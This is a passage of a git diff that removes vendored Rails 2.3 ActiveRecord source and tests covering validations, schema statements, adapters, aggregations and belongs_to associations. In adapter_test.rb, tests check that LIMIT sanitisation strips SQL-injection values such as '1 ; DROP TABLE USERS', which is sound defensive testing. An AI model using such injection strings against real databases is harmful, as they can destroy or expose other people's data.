-        (numericality_options - [ :odd, :even ]).each do |option|
-          raise ArgumentError, ":#{option} must be a number" unless configuration[option].is_a?(Numeric)
-        end
-
-        validates_each(attr_names,configuration) do |record, attr_name, value|
-          raw_value = record.send("#{attr_name}_before_type_cast") || value
-
-          next if configuration[:allow_nil] and raw_value.nil?
-
-          if configuration[:only_integer]
-            unless raw_value.to_s =~ /\A[+-]?\d+\Z/
-              record.errors.add(attr_name, :not_a_number, :value => raw_value, :default => configuration[:message])
-              next
-            end
-            raw_value = raw_value.to_i
-          else
-            begin
-              raw_value = Kernel.Float(raw_value)
-            rescue ArgumentError, TypeError
-              record.errors.add(attr_name, :not_a_number, :value => raw_value, :default => configuration[:message])
-              next
-            end
-          end
-
-          numericality_options.each do |option|
-            case option
-              when :odd, :even
-                unless raw_value.to_i.method(ALL_NUMERICALITY_CHECKS[option])[]
-                  record.errors.add(attr_name, option, :value => raw_value, :default => configuration[:message])
-                end
-              else
-                record.errors.add(attr_name, option, :default => configuration[:message], :value => raw_value, :count => configuration[option]) unless raw_value.method(ALL_NUMERICALITY_CHECKS[option])[configuration[option]]
-            end
-          end
-        end
-      end
-
-      # Creates an object just like Base.create but calls save! instead of save
-      # so an exception is raised if the record is invalid.
-      def create!(attributes = nil, &block)
-        if attributes.is_a?(Array)
-          attributes.collect { |attr| create!(attr, &block) }
-        else
-          object = new(attributes)
-          yield(object) if block_given?
-          object.save!
-          object
-        end
-      end
-
-      private
-        def validation_method(on)
-          case on
-            when :save   then :validate
-            when :create then :validate_on_create
-            when :update then :validate_on_update
-          end
-        end
-    end
-
-    # The validation process on save can be skipped by passing false. The regular Base#save method is
-    # replaced with this when the validations module is mixed in, which it is by default.
-    def save_with_validation(perform_validation = true)
-      if perform_validation && valid? || !perform_validation
-        save_without_validation
-      else
-        false
-      end
-    end
-
-    # Attempts to save the record just like Base#save but will raise a RecordInvalid exception instead of returning false
-    # if the record is not valid.
-    def save_with_validation!
-      if valid?
-        save_without_validation!
-      else
-        raise RecordInvalid.new(self)
-      end
-    end
-
-    # Runs +validate+ and +validate_on_create+ or +validate_on_update+ and returns true if no errors were added otherwise false.
-    def valid?
-      errors.clear
-
-      run_callbacks(:validate)
-      validate
-
-      if new_record?
-        run_callbacks(:validate_on_create)
-        validate_on_create
-      else
-        run_callbacks(:validate_on_update)
-        validate_on_update
-      end
-
-      errors.empty?
-    end
-
-    # Performs the opposite of <tt>valid?</tt>. Returns true if errors were added, false otherwise.
-    def invalid?
-      !valid?
-    end
-
-    # Returns the Errors object that holds all information about attribute error messages.
-    def errors
-      @errors ||= Errors.new(self)
-    end
-
-    protected
-      # Overwrite this method for validation checks on all saves and use <tt>Errors.add(field, msg)</tt> for invalid attributes.
-      def validate
-      end
-
-      # Overwrite this method for validation checks used only on creation.
-      def validate_on_create
-      end
-
-      # Overwrite this method for validation checks used only on updates.
-      def validate_on_update
-      end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/version.rb b/vendor/rails/activerecord/lib/active_record/version.rb
deleted file mode 100644
index d0291047..00000000
--- a/vendor/rails/activerecord/lib/active_record/version.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActiveRecord
-  module VERSION #:nodoc:
-    MAJOR = 2
-    MINOR = 3
-    TINY  = 14
-
-    STRING = [MAJOR, MINOR, TINY].join('.')
-  end
-end
diff --git a/vendor/rails/activerecord/lib/activerecord.rb b/vendor/rails/activerecord/lib/activerecord.rb
deleted file mode 100644
index bb6a0db2..00000000
--- a/vendor/rails/activerecord/lib/activerecord.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'active_record'
-ActiveSupport::Deprecation.warn 'require "activerecord" is deprecated and will be removed in Rails 3. Use require "active_record" instead.'
diff --git a/vendor/rails/activerecord/test/assets/example.log b/vendor/rails/activerecord/test/assets/example.log
deleted file mode 100644
index f084369d..00000000
--- a/vendor/rails/activerecord/test/assets/example.log
+++ /dev/null
@@ -1 +0,0 @@
-# Logfile created on Wed Oct 31 16:05:13 +0000 2007 by logger.rb/1.5.2.9
diff --git a/vendor/rails/activerecord/test/assets/flowers.jpg b/vendor/rails/activerecord/test/assets/flowers.jpg
deleted file mode 100644
index fe9df546..00000000
Binary files a/vendor/rails/activerecord/test/assets/flowers.jpg and /dev/null differ
diff --git a/vendor/rails/activerecord/test/cases/aaa_create_tables_test.rb b/vendor/rails/activerecord/test/cases/aaa_create_tables_test.rb
deleted file mode 100644
index 3911afac..00000000
--- a/vendor/rails/activerecord/test/cases/aaa_create_tables_test.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# The filename begins with "aaa" to ensure this is the first test.
-require "cases/helper"
-
-class AAACreateTablesTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def test_load_schema
-    eval(File.read(SCHEMA_ROOT + "/schema.rb"))
-    if File.exists?(adapter_specific_schema_file)
-      eval(File.read(adapter_specific_schema_file))
-    end
-    assert true
-  end
-
-  def test_drop_and_create_courses_table
-    eval(File.read(SCHEMA_ROOT + "/schema2.rb"))
-    assert true
-  end
-
-  private
-  def adapter_specific_schema_file
-    SCHEMA_ROOT + '/' + ActiveRecord::Base.connection.adapter_name.downcase + '_specific_schema.rb'
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/active_schema_test_mysql.rb b/vendor/rails/activerecord/test/cases/active_schema_test_mysql.rb
deleted file mode 100644
index 3526f49a..00000000
--- a/vendor/rails/activerecord/test/cases/active_schema_test_mysql.rb
+++ /dev/null
@@ -1,122 +0,0 @@
-require "cases/helper"
-
-class ActiveSchemaTest < ActiveRecord::TestCase
-  def setup
-    ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
-      alias_method :execute_without_stub, :execute
-      def execute(sql, name = nil) return sql end
-    end
-  end
-
-  def teardown
-    ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
-      remove_method :execute
-      alias_method :execute, :execute_without_stub
-    end
-  end
-
-  def test_add_index
-    # add_index calls index_exists? which can't work since execute is stubbed
-    ActiveRecord::ConnectionAdapters::MysqlAdapter.send(:define_method, :index_exists?) do |*|
-      false
-    end
-    expected = "CREATE  INDEX `index_people_on_last_name` ON `people` (`last_name`)"
-    assert_equal expected, add_index(:people, :last_name, :length => nil)
-
-    expected = "CREATE  INDEX `index_people_on_last_name` ON `people` (`last_name`(10))"
-    assert_equal expected, add_index(:people, :last_name, :length => 10)
-
-    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15))"
-    assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15)
-
-    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`)"
-    assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15})
-
-    expected = "CREATE  INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10))"
-    assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15, :first_name => 10})
-    ActiveRecord::ConnectionAdapters::MysqlAdapter.send(:remove_method, :index_exists?)
-  end
-
-  def test_drop_table
-    assert_equal "DROP TABLE `people`", drop_table(:people)
-  end
-
-  if current_adapter?(:MysqlAdapter)
-    def test_create_mysql_database_with_encoding
-      assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt)
-      assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, {:charset => 'latin1'})
-      assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, {:charset => :big5, :collation => :big5_chinese_ci})
-    end
-
-    def test_recreate_mysql_database_with_encoding
-      create_database(:luca, {:charset => 'latin1'})
-      assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, {:charset => 'latin1'})
-    end
-  end
-
-  def test_add_column
-    assert_equal "ALTER TABLE `people` ADD `last_name` varchar(255)", add_column(:people, :last_name, :string)
-  end
-
-  def test_add_column_with_limit
-    assert_equal "ALTER TABLE `people` ADD `key` varchar(32)", add_column(:people, :key, :string, :limit => 32)
-  end
-
-  def test_drop_table_with_specific_database
-    assert_equal "DROP TABLE `otherdb`.`people`", drop_table('otherdb.people')
-  end
-
-  def test_add_timestamps 
-    with_real_execute do
-      begin
-        ActiveRecord::Base.connection.create_table :delete_me do |t|
-        end
-        ActiveRecord::Base.connection.add_timestamps :delete_me
-        assert column_present?('delete_me', 'updated_at', 'datetime')
-        assert column_present?('delete_me', 'created_at', 'datetime')
-      ensure
-        ActiveRecord::Base.connection.drop_table :delete_me rescue nil
-      end
-    end
-  end
-  
-  def test_remove_timestamps 
-    with_real_execute do
-      begin
-        ActiveRecord::Base.connection.create_table :delete_me do |t|
-          t.timestamps
-        end
-        ActiveRecord::Base.connection.remove_timestamps :delete_me
-        assert !column_present?('delete_me', 'updated_at', 'datetime')
-        assert !column_present?('delete_me', 'created_at', 'datetime')
-      ensure
-        ActiveRecord::Base.connection.drop_table :delete_me rescue nil
-      end
-    end
-  end
-
-  private
-    def with_real_execute
-      #we need to actually modify some data, so we make execute point to the original method
-      ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
-        alias_method :execute_with_stub, :execute
-        alias_method :execute, :execute_without_stub
-      end
-      yield
-    ensure
-      #before finishing, we restore the alias to the mock-up method
-      ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do
-        alias_method :execute, :execute_with_stub
-      end
-    end
-
-
-    def method_missing(method_symbol, *arguments)
-      ActiveRecord::Base.connection.send(method_symbol, *arguments)
-    end
-
-    def column_present?(table_name, column_name, type)
-      results = ActiveRecord::Base.connection.select_all("SHOW FIELDS FROM #{table_name} LIKE '#{column_name}'")
-      results.first && results.first['Type'] == type
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/active_schema_test_postgresql.rb b/vendor/rails/activerecord/test/cases/active_schema_test_postgresql.rb
deleted file mode 100644
index af80f724..00000000
--- a/vendor/rails/activerecord/test/cases/active_schema_test_postgresql.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'cases/helper'
-
-class PostgresqlActiveSchemaTest < Test::Unit::TestCase
-  def setup
-    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.class_eval do
-      alias_method :real_execute, :execute
-      def execute(sql, name = nil) sql end
-    end
-  end
-
-  def teardown
-    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.send(:alias_method, :execute, :real_execute)
-  end
-
-  def test_create_database_with_encoding
-    assert_equal %(CREATE DATABASE "matt" ENCODING = 'utf8'), create_database(:matt)
-    assert_equal %(CREATE DATABASE "aimonetti" ENCODING = 'latin1'), create_database(:aimonetti, :encoding => :latin1)
-  end
-
-  private
-    def method_missing(method_symbol, *arguments)
-      ActiveRecord::Base.connection.send(method_symbol, *arguments)
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/adapter_test.rb b/vendor/rails/activerecord/test/cases/adapter_test.rb
deleted file mode 100644
index b7fa6dfd..00000000
--- a/vendor/rails/activerecord/test/cases/adapter_test.rb
+++ /dev/null
@@ -1,144 +0,0 @@
-require "cases/helper"
-
-class AdapterTest < ActiveRecord::TestCase
-  def setup
-    @connection = ActiveRecord::Base.connection
-  end
-
-  def test_tables
-    tables = @connection.tables
-    assert tables.include?("accounts")
-    assert tables.include?("authors")
-    assert tables.include?("tasks")
-    assert tables.include?("topics")
-  end
-
-  def test_table_exists?
-    assert @connection.table_exists?("accounts")
-    assert !@connection.table_exists?("nonexistingtable")
-  end
-
-  def test_indexes
-    idx_name = "accounts_idx"
-
-    if @connection.respond_to?(:indexes)
-      indexes = @connection.indexes("accounts")
-      assert indexes.empty?
-
-      @connection.add_index :accounts, :firm_id, :name => idx_name
-      indexes = @connection.indexes("accounts")
-      assert_equal "accounts", indexes.first.table
-      # OpenBase does not have the concept of a named index
-      # Indexes are merely properties of columns.
-      assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
-      assert !indexes.first.unique
-      assert_equal ["firm_id"], indexes.first.columns
-    else
-      warn "#{@connection.class} does not respond to #indexes"
-    end
-
-  ensure
-    @connection.remove_index(:accounts, :name => idx_name) rescue nil
-  end
-
-  def test_current_database
-    if @connection.respond_to?(:current_database)
-      assert_equal ENV['ARUNIT_DB_NAME'] || "activerecord_unittest", @connection.current_database
-    end
-  end
-
-  if current_adapter?(:MysqlAdapter)
-    def test_charset
-      assert_not_nil @connection.charset
-      assert_not_equal 'character_set_database', @connection.charset
-      assert_equal @connection.show_variable('character_set_database'), @connection.charset
-    end
-
-    def test_collation
-      assert_not_nil @connection.collation
-      assert_not_equal 'collation_database', @connection.collation
-      assert_equal @connection.show_variable('collation_database'), @connection.collation
-    end
-
-    def test_show_nonexistent_variable_returns_nil
-      assert_nil @connection.show_variable('foo_bar_baz')
-    end
-
-    def test_not_specifying_database_name_for_cross_database_selects
-      begin
-        assert_nothing_raised do
-          ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['arunit'].except(:database))
-          ActiveRecord::Base.connection.execute "SELECT activerecord_unittest.pirates.*, activerecord_unittest2.courses.* FROM activerecord_unittest.pirates, activerecord_unittest2.courses"
-        end
-      ensure
-        ActiveRecord::Base.establish_connection 'arunit'
-      end
-    end
-  end
-
-  if current_adapter?(:PostgreSQLAdapter)
-    def test_encoding
-      assert_not_nil @connection.encoding
-    end
-  end
-
-  def test_table_alias
-    def @connection.test_table_alias_length() 10; end
-    class << @connection
-      alias_method :old_table_alias_length, :table_alias_length
-      alias_method :table_alias_length,     :test_table_alias_length
-    end
-
-    assert_equal 'posts',      @connection.table_alias_for('posts')
-    assert_equal 'posts_comm', @connection.table_alias_for('posts_comments')
-    assert_equal 'dbo_posts',  @connection.table_alias_for('dbo.posts')
-
-    class << @connection
-      remove_method :table_alias_length
-      alias_method :table_alias_length, :old_table_alias_length
-    end
-  end
-
-  # test resetting sequences in odd tables in postgreSQL
-  if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
-    require 'models/movie'
-    require 'models/subscriber'
-
-    def test_reset_empty_table_with_custom_pk
-      Movie.delete_all
-      Movie.connection.reset_pk_sequence! 'movies'
-      assert_equal 1, Movie.create(:name => 'fight club').id
-    end
-
-    if ActiveRecord::Base.connection.adapter_name != "FrontBase"
-      def test_reset_table_with_non_integer_pk
-        Subscriber.delete_all
-        Subscriber.connection.reset_pk_sequence! 'subscribers'
-        sub = Subscriber.new(:name => 'robert drake')
-        sub.id = 'bob drake'
-        assert_nothing_raised { sub.save! }
-      end
-    end
-  end
-
-  def test_add_limit_offset_should_sanitize_sql_injection_for_limit_without_comas
-    sql_inject = "1 select * from schema"
-      assert_equal " LIMIT 1", @connection.add_limit_offset!("", :limit=>sql_inject)
-    if current_adapter?(:MysqlAdapter)
-      assert_equal " LIMIT 7, 1", @connection.add_limit_offset!("", :limit=>sql_inject, :offset=>7)
-    else
-      assert_equal " LIMIT 1 OFFSET 7", @connection.add_limit_offset!("", :limit=>sql_inject, :offset=>7)
-    end
-  end
-
-  def test_add_limit_offset_should_sanitize_sql_injection_for_limit_with_comas
-    sql_inject = "1, 7 procedure help()"
-    if current_adapter?(:MysqlAdapter)
-      assert_equal " LIMIT 1,7", @connection.add_limit_offset!("", :limit=>sql_inject)
-      assert_equal " LIMIT 7, 1", @connection.add_limit_offset!("", :limit=> '1 ; DROP TABLE USERS', :offset=>7)
-    else
-      assert_equal " LIMIT 1,7", @connection.add_limit_offset!("", :limit=>sql_inject)
-      assert_equal " LIMIT 1,7 OFFSET 7", @connection.add_limit_offset!("", :limit=>sql_inject, :offset=>7)
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/aggregations_test.rb b/vendor/rails/activerecord/test/cases/aggregations_test.rb
deleted file mode 100644
index 4e0e1c7f..00000000
--- a/vendor/rails/activerecord/test/cases/aggregations_test.rb
+++ /dev/null
@@ -1,167 +0,0 @@
-require "cases/helper"
-require 'models/customer'
-
-class AggregationsTest < ActiveRecord::TestCase
-  fixtures :customers
-
-  def test_find_single_value_object
-    assert_equal 50, customers(:david).balance.amount
-    assert_kind_of Money, customers(:david).balance
-    assert_equal 300, customers(:david).balance.exchange_to("DKK").amount
-  end
-
-  def test_find_multiple_value_object
-    assert_equal customers(:david).address_street, customers(:david).address.street
-    assert(
-      customers(:david).address.close_to?(Address.new("Different Street", customers(:david).address_city, customers(:david).address_country))
-    )
-  end
-
-  def test_change_single_value_object
-    customers(:david).balance = Money.new(100)
-    customers(:david).save
-    assert_equal 100, customers(:david).reload.balance.amount
-  end
-
-  def test_immutable_value_objects
-    customers(:david).balance = Money.new(100)
-    assert_raise(ActiveSupport::FrozenObjectError) { customers(:david).balance.instance_eval { @amount = 20 } }
-  end
-
-  def test_inferred_mapping
-    assert_equal "35.544623640962634", customers(:david).gps_location.latitude
-    assert_equal "-105.9309951055148", customers(:david).gps_location.longitude
-
-    customers(:david).gps_location = GpsLocation.new("39x-110")
-
-    assert_equal "39", customers(:david).gps_location.latitude
-    assert_equal "-110", customers(:david).gps_location.longitude
-
-    customers(:david).save
-
-    customers(:david).reload
-
-    assert_equal "39", customers(:david).gps_location.latitude
-    assert_equal "-110", customers(:david).gps_location.longitude
-  end
-
-  def test_reloaded_instance_refreshes_aggregations
-    assert_equal "35.544623640962634", customers(:david).gps_location.latitude
-    assert_equal "-105.9309951055148", customers(:david).gps_location.longitude
-
-    Customer.update_all("gps_location = '24x113'")
-    customers(:david).reload
-    assert_equal '24x113', customers(:david)['gps_location']
-
-    assert_equal GpsLocation.new('24x113'), customers(:david).gps_location
-  end
-
-  def test_gps_equality
-    assert GpsLocation.new('39x110') == GpsLocation.new('39x110')
-  end
-
-  def test_gps_inequality
-    assert GpsLocation.new('39x110') != GpsLocation.new('39x111')
-  end
-
-  def test_allow_nil_gps_is_nil
-    assert_equal nil, customers(:zaphod).gps_location
-  end
-
-  def test_allow_nil_gps_set_to_nil
-    customers(:david).gps_location = nil
-    customers(:david).save
-    customers(:david).reload
-    assert_equal nil, customers(:david).gps_location
-  end
-
-  def test_allow_nil_set_address_attributes_to_nil
-    customers(:zaphod).address = nil
-    assert_equal nil, customers(:zaphod).attributes[:address_street]
-    assert_equal nil, customers(:zaphod).attributes[:address_city]
-    assert_equal nil, customers(:zaphod).attributes[:address_country]
-  end
-
-  def test_allow_nil_address_set_to_nil
-    customers(:zaphod).address = nil
-    customers(:zaphod).save
-    customers(:zaphod).reload
-    assert_equal nil, customers(:zaphod).address
-  end
-
-  def test_nil_raises_error_when_allow_nil_is_false
-    assert_raise(NoMethodError) { customers(:david).balance = nil }
-  end
-
-  def test_allow_nil_address_loaded_when_only_some_attributes_are_nil
-    customers(:zaphod).address_street = nil
-    customers(:zaphod).save
-    customers(:zaphod).reload
-    assert_kind_of Address, customers(:zaphod).address
-    assert customers(:zaphod).address.street.nil?
-  end
-
-  def test_nil_assignment_results_in_nil
-    customers(:david).gps_location = GpsLocation.new('39x111')
-    assert_not_equal nil, customers(:david).gps_location
-    customers(:david).gps_location = nil
-    assert_equal nil, customers(:david).gps_location
-  end
-
-  def test_custom_constructor
-    assert_equal 'Barney GUMBLE', customers(:barney).fullname.to_s
-    assert_kind_of Fullname, customers(:barney).fullname
-  end
-
-  def test_custom_converter
-    customers(:barney).fullname = 'Barnoit Gumbleau'
-    assert_equal 'Barnoit GUMBLEAU', customers(:barney).fullname.to_s
-    assert_kind_of Fullname, customers(:barney).fullname
-  end
-end
-
-class DeprecatedAggregationsTest < ActiveRecord::TestCase
-  class Person < ActiveRecord::Base; end
-
-  def test_conversion_block_is_deprecated
-    assert_deprecated 'conversion block has been deprecated' do
-      Person.composed_of(:balance, :class_name => "Money", :mapping => %w(balance amount)) { |balance| balance.to_money }
-    end
-  end
-
-  def test_conversion_block_used_when_converter_option_is_nil
-    assert_deprecated 'conversion block has been deprecated' do
-      Person.composed_of(:balance, :class_name => "Money", :mapping => %w(balance amount)) { |balance| balance.to_money }
-    end
-    assert_raise(NoMethodError) { Person.new.balance = 5 }
-  end
-
-  def test_converter_option_overrides_conversion_block
-    assert_deprecated 'conversion block has been deprecated' do
-      Person.composed_of(:balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| Money.new(balance) }) { |balance| balance.to_money }
-    end
-
-    person = Person.new
-    assert_nothing_raised { person.balance = 5 }
-    assert_equal 5, person.balance.amount
-    assert_kind_of Money, person.balance
-  end
-end
-
-class OverridingAggregationsTest < ActiveRecord::TestCase
-  class Name; end
-  class DifferentName; end
-
-  class Person   < ActiveRecord::Base
-    composed_of :composed_of, :mapping => %w(person_first_name first_name)
-  end
-
-  class DifferentPerson < Person
-    composed_of :composed_of, :class_name => 'DifferentName', :mapping => %w(different_person_first_name first_name)
-  end
-
-  def test_composed_of_aggregation_redefinition_reflections_should_differ_and_not_inherited
-    assert_not_equal Person.reflect_on_aggregation(:composed_of),
-                     DifferentPerson.reflect_on_aggregation(:composed_of)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/ar_schema_test.rb b/vendor/rails/activerecord/test/cases/ar_schema_test.rb
deleted file mode 100644
index 4c1589d9..00000000
--- a/vendor/rails/activerecord/test/cases/ar_schema_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require "cases/helper"
-
-if ActiveRecord::Base.connection.supports_migrations?
-
-  class ActiveRecordSchemaTest < ActiveRecord::TestCase
-    self.use_transactional_fixtures = false
-
-    def setup
-      @connection = ActiveRecord::Base.connection
-    end
-
-    def teardown
-      @connection.drop_table :fruits rescue nil
-    end
-
-    def test_schema_define
-      ActiveRecord::Schema.define(:version => 7) do
-        create_table :fruits do |t|
-          t.column :color, :string
-          t.column :fruit_size, :string  # NOTE: "size" is reserved in Oracle
-          t.column :texture, :string
-          t.column :flavor, :string
-        end
-      end
-
-      assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
-      assert_nothing_raised { @connection.select_all "SELECT * FROM schema_migrations" }
-      assert_equal 7, ActiveRecord::Migrator::current_version
-    end
-  end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb
deleted file mode 100644
index ab0edee3..00000000
--- a/vendor/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ /dev/null
@@ -1,438 +0,0 @@
-require "cases/helper"
-require 'models/developer'
-require 'models/project'
-require 'models/company'
-require 'models/topic'
-require 'models/reply'
-require 'models/computer'
-require 'models/customer'
-require 'models/order'
-require 'models/post'
-require 'models/author'
-require 'models/tag'
-require 'models/tagging'
-require 'models/comment'
-require 'models/sponsor'
-require 'models/member'
-require 'models/essay'
-
-class BelongsToAssociationsTest < ActiveRecord::TestCase
-  fixtures :accounts, :companies, :developers, :projects, :topics,
-           :developers_projects, :computers, :authors, :posts, :tags, :taggings, :comments
-
-  def test_belongs_to
-    Client.find(3).firm.name
-    assert_equal companies(:first_firm).name, Client.find(3).firm.name
-    assert !Client.find(3).firm.nil?, "Microsoft should have a firm"
-  end
-
-  def test_belongs_to_with_primary_key
-    client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
-    assert_equal companies(:first_firm).name, client.firm_with_primary_key.name
-  end
-
-  def test_belongs_to_with_primary_key_joins_on_correct_column
-    sql = Client.send(:construct_finder_sql, :joins => :firm_with_primary_key)
-    assert sql !~ /\.id/
-    assert sql =~ /\.name/
-  end
-
-  def test_proxy_assignment
-    account = Account.find(1)
-    assert_nothing_raised { account.firm = account.firm }
-  end
-
-  def test_triple_equality
-    assert Client.find(3).firm === Firm
-    assert Firm === Client.find(3).firm
-  end
-
-  def test_type_mismatch
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = 1 }
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = Project.find(1) }
-  end
-
-  def test_natural_assignment
-    apple = Firm.create("name" => "Apple")
-    citibank = Account.create("credit_limit" => 10)
-    citibank.firm = apple
-    assert_equal apple.id, citibank.firm_id
-  end
-
-  def test_natural_assignment_with_primary_key
-    apple = Firm.create("name" => "Apple")
-    citibank = Client.create("name" => "Primary key client")
-    citibank.firm_with_primary_key = apple
-    assert_equal apple.name, citibank.firm_name
-  end
-
-  def test_eager_loading_with_primary_key
-    apple = Firm.create("name" => "Apple")
-    citibank = Client.create("name" => "Citibank", :firm_name => "Apple")
-    citibank_result = Client.find(:first, :conditions => {:name => "Citibank"}, :include => :firm_with_primary_key)
-    assert_not_nil citibank_result.instance_variable_get("@firm_with_primary_key")
-  end
-
-  def test_no_unexpected_aliasing
-    first_firm = companies(:first_firm)
-    another_firm = companies(:another_firm)
-
-    citibank = Account.create("credit_limit" => 10)
-    citibank.firm = first_firm
-    original_proxy = citibank.firm
-    citibank.firm = another_firm
-
-    assert_equal first_firm.object_id, original_proxy.target.object_id
-    assert_equal another_firm.object_id, citibank.firm.target.object_id
-  end
-
-  def test_creating_the_belonging_object
-    citibank = Account.create("credit_limit" => 10)
-    apple    = citibank.create_firm("name" => "Apple")
-    assert_equal apple, citibank.firm
-    citibank.save
-    citibank.reload
-    assert_equal apple, citibank.firm
-  end
-
-  def test_creating_the_belonging_object_with_primary_key
-    client = Client.create(:name => "Primary key client")
-    apple  = client.create_firm_with_primary_key("name" => "Apple")
-    assert_equal apple, client.firm_with_primary_key
-    client.save
-    client.reload
-    assert_equal apple, client.firm_with_primary_key
-  end
-
-  def test_building_the_belonging_object
-    citibank = Account.create("credit_limit" => 10)
-    apple    = citibank.build_firm("name" => "Apple")
-    citibank.save
-    assert_equal apple.id, citibank.firm_id
-  end
-
-  def test_building_the_belonging_object_with_primary_key
-    client = Client.create(:name => "Primary key client")
-    apple  = client.build_firm_with_primary_key("name" => "Apple")
-    client.save
-    assert_equal apple.name, client.firm_name
-  end
-
-  def test_natural_assignment_to_nil
-    client = Client.find(3)
-    client.firm = nil
-    client.save
-    assert_nil client.firm(true)
-    assert_nil client.client_of
-  end
-
-  def test_natural_assignment_to_nil_with_primary_key
-    client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
-    client.firm_with_primary_key = nil
-    client.save
-    assert_nil client.firm_with_primary_key(true)
-    assert_nil client.client_of
-  end
-
-  def test_with_different_class_name
-    assert_equal Company.find(1).name, Company.find(3).firm_with_other_name.name
-    assert_not_nil Company.find(3).firm_with_other_name, "Microsoft should have a firm"
-  end
-
-  def test_with_condition
-    assert_equal Company.find(1).name, Company.find(3).firm_with_condition.name
-    assert_not_nil Company.find(3).firm_with_condition, "Microsoft should have a firm"
-  end
-
-  def test_with_select
-    assert_equal Company.find(2).firm_with_select.attributes.size, 1
-    assert_equal Company.find(2, :include => :firm_with_select ).firm_with_select.attributes.size, 1
-  end
-
-  def test_belongs_to_counter
-    debate = Topic.create("title" => "debate")
-    assert_equal 0, debate.send(:read_attribute, "replies_count"), "No replies yet"
-
-    trash = debate.replies.create("title" => "blah!", "content" => "world around!")
-    assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply created"
-
-    trash.destroy
-    assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
-  end
-
-  def test_belongs_to_with_primary_key_counter
-    debate = Topic.create("title" => "debate")
-    assert_equal 0, debate.send(:read_attribute, "replies_count"), "No replies yet"
-
-    trash = debate.replies_with_primary_key.create("title" => "blah!", "content" => "world around!")
-    assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply created"
-
-    trash.destroy
-    assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
-  end
-
-  def test_belongs_to_counter_with_assigning_nil
-    p = Post.find(1)
-    c = Comment.find(1)
-
-    assert_equal p.id, c.post_id
-    assert_equal 2, Post.find(p.id).comments.size
-
-    c.post = nil
-
-    assert_equal 1, Post.find(p.id).comments.size
-  end
-
-  def test_belongs_to_with_primary_key_counter_with_assigning_nil
-    debate = Topic.create("title" => "debate")
-    reply  = Reply.create("title" => "blah!", "content" => "world around!", "parent_title" => "debate")
-
-    assert_equal debate.title, reply.parent_title
-    assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count")
-
-    reply.topic_with_primary_key = nil
-
-    assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count")
-  end
-
-  def test_belongs_to_counter_with_reassigning
-    t1 = Topic.create("title" => "t1")
-    t2 = Topic.create("title" => "t2")
-    r1 = Reply.new("title" => "r1", "content" => "r1")
-    r1.topic = t1
-
-    assert r1.save
-    assert_equal 1, Topic.find(t1.id).replies.size
-    assert_equal 0, Topic.find(t2.id).replies.size
-
-    r1.topic = Topic.find(t2.id)
-
-    assert r1.save
-    assert_equal 0, Topic.find(t1.id).replies.size
-    assert_equal 1, Topic.find(t2.id).replies.size
-
-    r1.topic = nil
-
-    assert_equal 0, Topic.find(t1.id).replies.size
-    assert_equal 0, Topic.find(t2.id).replies.size
-
-    r1.topic = t1
-
-    assert_equal 1, Topic.find(t1.id).replies.size
-    assert_equal 0, Topic.find(t2.id).replies.size
-
-    r1.destroy
-
-    assert_equal 0, Topic.find(t1.id).replies.size
-    assert_equal 0, Topic.find(t2.id).replies.size
-  end
-
-  def test_belongs_to_reassign_with_namespaced_models_and_counters
-    t1 = Web::Topic.create("title" => "t1")
-    t2 = Web::Topic.create("title" => "t2")
-    r1 = Web::Reply.new("title" => "r1", "content" => "r1")
-    r1.topic = t1
-
-    assert r1.save
-    assert_equal 1, Web::Topic.find(t1.id).replies.size
-    assert_equal 0, Web::Topic.find(t2.id).replies.size
-
-    r1.topic = Web::Topic.find(t2.id)
-
-    assert r1.save
